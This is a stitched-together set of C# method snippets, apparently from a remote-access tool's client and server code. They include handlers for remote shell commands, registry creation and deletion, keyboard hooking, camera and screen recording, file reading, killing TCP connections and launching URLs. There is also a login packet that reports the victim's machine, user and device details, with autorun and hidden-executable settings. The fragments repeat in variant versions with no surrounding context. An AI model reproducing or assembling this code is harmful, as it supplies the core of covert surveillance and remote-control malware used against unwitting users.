public override void OnNotifyProc(TcpSocketCompletionNotify notify, TcpSocketSaeaSession session) { switch (notify) { case TcpSocketCompletionNotify.OnConnected: break; case TcpSocketCompletionNotify.OnSend: break; case TcpSocketCompletionNotify.OnDataReceiveing: break; case TcpSocketCompletionNotify.OnDataReceived: this._handlerBinder.InvokePacketHandler(session, session.CompletedBuffer.GetMessageHead(), this); break; case TcpSocketCompletionNotify.OnClosed: if (isOpen) { isOpen = false; this.Closecamera(); } this._handlerBinder.Dispose(); break; } }
public override void OnNotifyProc(TcpSocketCompletionNotify notify, TcpSocketSaeaSession session) { switch (notify) { case TcpSocketCompletionNotify.OnConnected: break; case TcpSocketCompletionNotify.OnSend: break; case TcpSocketCompletionNotify.OnDataReceiveing: break; case TcpSocketCompletionNotify.OnDataReceived: _handlerBinder.InvokePacketHandler(session, session.CompletedBuffer.GetMessageHead(), this); break; case TcpSocketCompletionNotify.OnClosed: this._isSessionClose = true; this._handlerBinder.Dispose(); this.CloseFileStream(); this._event.Close(); break; } }
public void HandleCreateRegistryKey(TcpSocketSaeaSession session) { var packet = GetMessageEntity <DoCreateRegistryKeyPack>(session); GetCreateRegistryKeyResponsePack responsePacket = new GetCreateRegistryKeyResponsePack(); string errorMsg; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Match = new RegSeekerMatch { Key = newKeyName, Data = RegistryKeyHelper.GetDefaultValues(), HasSubKeys = false }; responsePacket.ParentPath = packet.ParentPath; SendTo(CurrentSession, MessageHead.C_NREG_CREATE_KEY_RESPONSE, responsePacket); //client.Send(responsePacket); }
public override void OnNotifyProc(TcpSocketCompletionNotify notify, TcpSocketSaeaSession session) { switch (notify) { case TcpSocketCompletionNotify.OnConnected: break; case TcpSocketCompletionNotify.OnSend: break; case TcpSocketCompletionNotify.OnDataReceiveing: break; case TcpSocketCompletionNotify.OnDataReceived: this._handlerBinder.InvokePacketHandler(session, session.CompletedBuffer.GetMessageHead(), this); //this.OnMessage(session); break; case TcpSocketCompletionNotify.OnClosed: if (_keyboard != null) { _keyboard.NotiyProc -= _keyboard_NotiyProc; _keyboard.CloseHook(); _keyboard = null; } this._handlerBinder.Dispose(); break; } }
public void TryDeleteSubKey(TcpSocketSaeaSession session) { var delSubkey = session.CompletedBuffer.GetMessageEntity <RegDeleteSubKeyPack>(); try { RegistryKey registryKey = GetRegistryRoot(delSubkey.Root); registryKey.DeleteSubKeyTree(delSubkey.NodePath); registryKey.Close(); SendAsyncToServer(MessageHead.C_REG_DELETESUBKEY_FINSH, new RegOperFinshPack() { Result = true, Value = delSubkey.NodePath }); } catch { SendAsyncToServer(MessageHead.C_REG_DELETESUBKEY_FINSH, new RegOperFinshPack() { Result = false, Value = delSubkey.NodePath }); } }
public void TryCreateSubKey(TcpSocketSaeaSession session) { var newSubKey = session.CompletedBuffer.GetMessageEntity <RegNewSubkeyPack>(); try { RegistryKey registryKey = GetRegistryRoot(newSubKey.Root); registryKey.CreateSubKey(newSubKey.NodePath + "\\" + newSubKey.NewSubKeyName); registryKey.Close(); SendAsyncToServer(MessageHead.C_REG_CREATESUBKEY_FINSH, new RegOperFinshPack() { Result = true, Value = newSubKey.NewSubKeyName }); } catch { SendAsyncToServer(MessageHead.C_REG_CREATESUBKEY_FINSH, new RegOperFinshPack() { Result = false, Value = newSubKey.NewSubKeyName }); } }
private void ConnectedHandler(TcpSocketSaeaSession session) { if (Interlocked.Exchange(ref _managerLoginSign, CHANNEL_LOGIN) == CHANNEL_LOGOUT) { //表示代理管理连接登陆 this.SendAck(session, SessionWorkType.ManagerSession); _managerSession = session; session.AppTokens = new object[] { SessionWorkType.ManagerSession, null }; //获取所有主连接 MessageHelper.SendMessage(session, MessageHead.Msg_Pull_Session); } else { this.SendAck(session, SessionWorkType.ManagerWorkSession); var sessionBased = new TcpProxySessionBased(session); session.AppTokens = new object[] { SessionWorkType.ManagerWorkSession, sessionBased }; this._onSessionNotifyProc(SessionCompletedNotify.OnConnected, sessionBased as SessionProviderContext); } }
//public void setRecvTimeout(int recv_timeout) //{ // RecvTimeout = recv_timeout; // connection.setRecvTimeout(recv_timeout); //} //public void setSendTimeout(int send_timeout) //{ // SendTimeout = send_timeout; // connection.setSendTimeout(send_timeout); //} //public void setMaxReadSize(int max_readsize) //{ // MaxReadSize = max_readsize; // connection.setMaxReadSize(max_readsize); //} //public void setReconnectInterval(int reconnection_interval) //{ // ReconnectInterval = reconnection_interval; // connection.setReconnectInterval(reconnection_interval); //} //public void setRetryCount(int retry_count) //{ // RetryCount = retry_count; // connection.setRetryCount(retry_count); //} #endregion 設置參數 public void NotifySetTcpSocketSaeaSession(TcpSocketSaeaSession _session) { session = _session; TcpIpEventArgs arg = new TcpIpEventArgs(0, 0, null); onTcpIpConnected(arg); }
public void StartCommand(TcpSocketSaeaSession session) { byte[] payload = session.CompletedBuffer.GetMessageBody(); string command = payload.ToUnicodeString(); _pipe.StandardInput.WriteLine(command); }
/// <summary> /// 连接初始化 /// /// 作用:分配工作类型 /// </summary> /// <param name="session"></param> /// <param name="notify"></param> private void ConnectedHandler(TcpSocketSaeaSession session, TcpSocketCompletionNotify notify) { //当服务主连接离线或未连接,优先与session关联 if (Interlocked.Exchange(ref _sessionKeepSign, STATE_NORMAL) == STATE_DISCONNECT) { session.AppTokens = new object[2] { ConnectionWorkType.MAINCON, null }; this.SetSession(session); //服务主连接accessId保留 this.SendAckPack(session, ConnectionWorkType.MAINCON, 0); } else { ApplicationRemoteService service = _taskQueue.Dequeue(); if (service.IsNull()) { //找不到服务。。 session.Close(false); return; } session.AppTokens = new object[2] { ConnectionWorkType.WORKCON, service }; service.SetSession(session); this.SendAckPack(session, ConnectionWorkType.WORKCON, service.AccessId); } }
private void ConnectedHandler(TcpSocketSaeaSession session) { if (Interlocked.Exchange(ref _currentState, CHANNEL_LOGIN) == CHANNEL_LOGOUT) { this.TcpProxyMainConnectionContext = new TcpProxyMainConnectionContext(session); this.TcpProxyMainConnectionContext.SessionNotifyEventHandler += ProxyMainConnectionSessionNotify; this.TcpProxyMainConnectionContext.LogOutEventHandler += LogOutEventHandler; this.TcpProxyMainConnectionContext.LaunchApplicationConnectEventHandler += LaunchApplicationConnectEventHandler; this.TcpProxyMainConnectionContext.AccessIdOrKeyWrongEventHandler += AccessIdOrKeyWrongEventHandler; session.AppTokens = new object[] { this.TcpProxyMainConnectionContext, ConnectionWorkType.MainApplicationConnection }; this.SendACK(session, ConnectionWorkType.MainApplicationConnection); this.TcpProxyMainConnectionContext.PullSession(); } else { var tcpSessionContext = new TcpSocketSessionContext(session); this._proxySessions.Add(tcpSessionContext.GetHashCode(), tcpSessionContext); session.AppTokens = new object[] { tcpSessionContext, ConnectionWorkType.ApplicationConnection }; this.SendACK(session, ConnectionWorkType.ApplicationConnection); this.SessionNotify(tcpSessionContext, TcpSessionNotify.OnConnected); } }
private void Client_CompletetionNotify(TcpSocketCompletionNotify e, TcpSocketSaeaSession session) { this.Invoke(new Action(() => { switch (e) { case TcpSocketCompletionNotify.OnConnected: break; case TcpSocketCompletionNotify.OnDataReceiveing: //this.listBox1.Items.Add("len:" + session.CompletedBuffer.Length + " msg:" + Encoding.UTF8.GetString(session.CompletedBuffer, 0, session.ReceiveBytesTransferred)); break; case TcpSocketCompletionNotify.OnDataReceived: if (session.CompletedBuffer.Length != 15) { throw new Exception(); } Console.WriteLine(session.CompletedBuffer.Length + ":" + Encoding.UTF8.GetString(session.CompletedBuffer, 0, session.CompletedBuffer.Length)); session.SendAsync(session.CompletedBuffer); //this.listBox1.Items.Add(session.CompletedBuffer.Length); break; case TcpSocketCompletionNotify.OnClosed: var xx = session.AppTokens; this.listBox1.Items.Add("client disconnect"); break; } })); }
public void SendLoginPack(TcpSocketSaeaSession session) { string RemarkInfomation = AppConfiguartion.RemarkInfomation ?? AppConfiguartion.DefaultRemarkInfo; string openScreenWall = AppConfiguartion.IsOpenScreenView ?? "true"; //默认为打开屏幕墙 string openScreenRecord = AppConfiguartion.IsScreenRecord ?? "false"; //默认屏幕记录 var loginPack = new LoginPack(); loginPack.IPV4 = SystemInfoUtil.GetLocalIPV4(); loginPack.MachineName = Environment.MachineName ?? ""; loginPack.Remark = RemarkInfomation; loginPack.ProcessorCount = Environment.ProcessorCount; loginPack.ProcessorInfo = SystemInfoUtil.GetMyCpuInfo; loginPack.MemorySize = SystemInfoUtil.GetMyMemorySize; loginPack.StartRunTime = AppConfiguartion.RunTime; loginPack.ServiceVison = AppConfiguartion.Version; loginPack.UserName = Environment.UserName.ToString(); loginPack.OSVersion = SystemInfoUtil.GsystemEdition; loginPack.OpenScreenWall = (openScreenWall == "true" ? true : false); loginPack.ExistCameraDevice = SystemInfoUtil.ExistCameraDevice(); loginPack.ExitsRecordDevice = SystemInfoUtil.ExistRecordDevice(); loginPack.ExitsPlayerDevice = SystemInfoUtil.ExistPlayDevice(); loginPack.IdentifyId = AppConfiguartion.IdentifyId; loginPack.OpenScreenRecord = (openScreenRecord == "true" ? true : false); loginPack.RecordHeight = _screen_record_height; loginPack.RecordWidth = _screen_record_width; loginPack.RecordSpanTime = _screen_record_spantime; byte[] data = MessageHelper.CopyMessageHeadTo(MessageHead.C_MAIN_LOGIN, loginPack); SendMessageToServer(data); }
private void InitiativeExitHandler(TcpSocketSaeaSession session) { if (session.AppTokens == null && session.AppTokens.Length == 0) { return; } var sessionId = (int)session.AppTokens[0]; lock (_lock) { var index = _userProcessSessionIdList.FindIndex(c => c.SessionId == sessionId); if (index == -1) { return; } _userProcessSessionIdList.RemoveAt(index); if (_userProcessSessionIdList.Count <= 0)//主动退出 { LogHelper.DebugWriteLog("InitiativeExitHandler"); _isRun = false; Environment.Exit(0); } } }
private void OnClosedHandler(TcpSocketSaeaSession session) { var closedDispatcher = session.AppTokens[SysContanct.INDEX_WORKER].ConvertTo <DispatcherBase>(); closedDispatcher.OnClosed(); if (closedDispatcher.ConnectionWorkType == ConnectionWorkType.MainServiceConnection) { var data = MessageHelper.CopyMessageHeadTo(MessageHead.MID_SESSION_CLOSED, new SessionClosedPacket() { Id = closedDispatcher.DispatcherId }); //通知所有主控端离线 _dispatchers .Select(c => c.Value) .Where(c => c.ConnectionWorkType == ConnectionWorkType.MainApplicationConnection) .ForEach(c => c.SendTo(data)); } var serviceWorkerChannelItem = this._appServiceChannels.FirstOrDefault(c => c.Item2 == closedDispatcher.DispatcherId); if (!serviceWorkerChannelItem.IsNull()) { _appServiceChannels.Remove(serviceWorkerChannelItem); } if (_dispatchers.ContainsKey(closedDispatcher.DispatcherId)) { _dispatchers.Remove(closedDispatcher.DispatcherId); } }
public static void SendMessage(TcpSocketSaeaSession session, short messageHead, byte[] payload) { byte[] pack = new byte[payload.Length + sizeof(short)]; BitConverter.GetBytes(messageHead).CopyTo(pack, 0); Array.Copy(payload, 0, pack, sizeof(short), payload.Length); session?.SendAsync(pack); }
public void CloseTcpConnectionHandler(TcpSocketSaeaSession session) { var kills = GetMessageEntity <KillTcpConnectionPack>(session); var table = GetTable(); foreach (var packet in kills.Kills) { var s = table.Where(c => c.RemotePort == 5200).ToList(); for (var i = 0; i < table.Length; i++) { //search for connection if (packet.LocalAddress == table[i].LocalAddress.ToString() && packet.LocalPort == table[i].LocalPort.ToString() && packet.RemoteAddress == table[i].RemoteAddress.ToString() && packet.RemotePort == table[i].RemotePort.ToString()) { // it will close the connection only if client run as admin //table[i].state = (byte)ConnectionStates.Delete_TCB; table[i].state = 12; // 12 for Delete_TCB state var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); Marshal.StructureToPtr(table[i], ptr, false); var result = CommonWin32Api.SetTcpEntry(ptr); } } } this.GetTcpConnectionList(session); }
public void ShowMessageBox(TcpSocketSaeaSession session) { var msg = session.CompletedBuffer.GetMessageEntity <MessagePack>(); ThreadHelper.CreateThread(() => { string title = msg.MessageTitle; string cont = msg.MessageBody; switch ((MessageIcon)msg.MessageIcon) { case MessageIcon.Error: MessageBox.Show(cont, title, 0, MessageBoxIcon.Error, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); break; case MessageIcon.Question: MessageBox.Show(cont, title, 0, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); break; case MessageIcon.InforMation: MessageBox.Show(cont, title, 0, MessageBoxIcon.Information, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); break; case MessageIcon.Exclaim: MessageBox.Show(cont, title, 0, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); break; } }, true); }
private void SendLoginPack(TcpSocketSaeaSession session) { string remarkInfomation = AppConfiguartion.RemarkInfomation ?? AppConfiguartion.DefaultRemarkInfo; string groupName = AppConfiguartion.GroupName ?? AppConfiguartion.DefaultGroupName; bool openScreenWall = AppConfiguartion.IsOpenScreenView; //默认为打开屏幕墙 bool openScreenRecord = AppConfiguartion.IsScreenRecord; //默认屏幕记录 var loginPack = new LoginPack(); loginPack.IPV4 = SystemInfoHelper.GetLocalIPV4(); loginPack.MachineName = Environment.MachineName ?? ""; loginPack.Remark = remarkInfomation; loginPack.ProcessorCount = Environment.ProcessorCount; loginPack.ProcessorInfo = SystemInfoHelper.GetMyCpuInfo; loginPack.MemorySize = SystemInfoHelper.GetMyMemorySize; loginPack.StartRunTime = AppConfiguartion.RunTime; loginPack.ServiceVison = AppConfiguartion.Version; loginPack.UserName = Environment.UserName.ToString(); loginPack.OSVersion = SystemInfoHelper.GetOSFullName; loginPack.GroupName = groupName; loginPack.OpenScreenWall = openScreenWall; loginPack.ExistCameraDevice = SystemInfoHelper.ExistCameraDevice(); loginPack.ExitsRecordDevice = SystemInfoHelper.ExistRecordDevice(); loginPack.ExitsPlayerDevice = SystemInfoHelper.ExistPlayDevice(); loginPack.IdentifyId = AppConfiguartion.IdentifyId; loginPack.OpenScreenRecord = openScreenRecord; loginPack.RecordHeight = _screen_record_height; loginPack.RecordWidth = _screen_record_width; loginPack.RecordSpanTime = _screen_record_spantime; loginPack.HasLoadServiceCOM = true;//已加载 SendTo(session, MessageHead.C_MAIN_LOGIN, loginPack); }
/// <summary> /// 连接初始化 /// /// 作用:分配工作类型 /// </summary> /// <param name="session"></param> /// <param name="notify"></param> private void ConnectedHandler(TcpSocketSaeaSession session, TcpSocketCompletionNotify notify) { if (Interlocked.Exchange(ref _sessionKeep, 1) == 0) { this.SendAckPack(session, ConnectionWorkType.MAINCON); _session = session; //主连接优先获取session session.AppTokens = new object[2] { ConnectionWorkType.MAINCON, null }; } else { this.SendAckPack(session, ConnectionWorkType.WORKCON); //消费工作实例 ServiceManager manager = _taskQueue.Dequeue(); if (manager == null) { //无工作实例。。连接分配不到工作 session.Close(false); return; } session.AppTokens = new object[2] { ConnectionWorkType.WORKCON, manager }; manager.SetSession(session); manager.OnNotifyProc(notify, session); } }
/// <summary> /// Loader专用构造函数 /// </summary> /// <param name="startParameter"></param> /// <param name="clientAgent"></param> /// <param name="session"></param> /// <param name="serviceIPEndPoint"></param> public MainService( StartParameter startParameter, TcpSocketSaeaClientAgent clientAgent, TcpSocketSaeaSession session, IPEndPoint serviceIPEndPoint ) { _clientAgent = clientAgent; _sessionKeepSign = 1;//主连接状态 this.SetSession(session); session.AppTokens = new object[2] { ConnectionWorkType.MAINCON, null }; AppConfiguartion.HostAddress = startParameter.Host; AppConfiguartion.HostPort = startParameter.Port; AppConfiguartion.AccessKey = startParameter.AccessKey; AppConfiguartion.DefaultRemarkInfo = startParameter.RemarkInformation; AppConfiguartion.DefaultGroupName = startParameter.GroupName; AppConfiguartion.IsAutoRun = startParameter.IsAutoStart; AppConfiguartion.IsHideExcutingFile = startParameter.IsHide; AppConfiguartion.RunTime = startParameter.RunTimeText; AppConfiguartion.Version = startParameter.ServiceVersion; AppConfiguartion.CenterServiceMode = startParameter.SessionMode == 1 ? true : false; AppConfiguartion.IdentifyId = startParameter.UniqueId; AppConfiguartion.ServerIPEndPoint = serviceIPEndPoint; this.SendLoginPack(session); }
public void OpenText(TcpSocketSaeaSession session) { var file = GetMessageEntity <FileOpenTextPack>(session); var textPack = new FileTextPack(); if (File.Exists(file.FileName) && new FileInfo(file.FileName).Length <= 1024 * 512) { try { var text = File.ReadAllText(file.FileName); textPack.IsSuccess = true; textPack.Text = text; } catch (Exception ex) { textPack.IsSuccess = false; this.SendErrorMessage(ex, "Text打开失败!"); } } else { this.SendErrorMessage(new Exception(), "文件不存在或文件长度超出范围!"); } this.SendTo(CurrentSession, MessageHead.C_FILE_TEXT, textPack); }
private void ConnectionProcess(TcpSocketSaeaSession session) { if (Interlocked.Exchange(ref _manager_login, 1) == 0) { this.SendAck(session, SessionWorkType.ManagerSession); _manager_session = session; session.AppTokens = new object[] { SessionWorkType.ManagerSession, null }; //获取所有主连接 SendMessageHelper.SendMessage(session, MsgCommand.Msg_Pull_Session); } else { this.SendAck(session, SessionWorkType.ManagerWorkSession); var sessionBased = new TcpProxySessionBased(session); session.AppTokens = new object[] { SessionWorkType.ManagerWorkSession, sessionBased }; this._onSessionNotifyProc(SessionCompletedNotify.OnConnected, sessionBased as SessionHandler); } }
protected long GetAccessId(TcpSocketSaeaSession session) { if (session.CompletedBuffer.IsNull()) { return(0); } return(BitConverter.ToInt64(session.CompletedBuffer, 0)); }
private byte[] TakeHeadAndMessage(TcpSocketSaeaSession session) { var length = session.CompletedBuffer.Length - sizeof(long); var bytes = new byte[length]; Array.Copy(session.CompletedBuffer, sizeof(long), bytes, 0, length); return(GZipHelper.Decompress(bytes)); }
public async Task OnSessionDataReceived(TcpSocketSaeaSession session, byte[] data, int offset, int count) { var text = Encoding.UTF8.GetString(data, offset, count); Console.Write(string.Format("Client : {0} --> ", session.RemoteEndPoint)); Console.WriteLine(text); await session.SendAsync(Encoding.UTF8.GetBytes(text)); }
public Task OnSessionStarted(TcpSocketSaeaSession session) { #if NET return(Task.FromResult(1)); #else return(Task.CompletedTask); #endif }
public void OpenUrl(TcpSocketSaeaSession session) { try { Process.Start(session.CompletedBuffer.GetMessageBody().ToUnicodeString()); } catch { } }
public async Task OnSessionDataReceived(TcpSocketSaeaSession session, byte[] data, int offset, int count) { var text = Encoding.UTF8.GetString(data, offset, count); //Console.Write(string.Format("Client : {0} --> ", session.RemoteEndPoint)); //Console.WriteLine(text); await session.SendAsync(Encoding.UTF8.GetBytes(text)); }
private void OpenUrl(TcpSocketSaeaSession session) { try { Process.Start(GetMessage(session).ToUnicodeString()); } catch { } }
public void StartCommand(TcpSocketSaeaSession session) { byte[] payload = GetMessage(session); string command = payload.ToUnicodeString(); _pipe.StandardInput.WriteLine(command); _pipe.StandardInput.Flush(); }
public async Task OnSessionClosed(TcpSocketSaeaSession session) { Console.WriteLine(string.Format("TCP session {0} has disconnected.", session)); await Task.CompletedTask; }
public async Task OnSessionStarted(TcpSocketSaeaSession session) { Console.WriteLine(string.Format("TCP session {0} has connected {1}.", session.RemoteEndPoint, session)); await Task.CompletedTask; }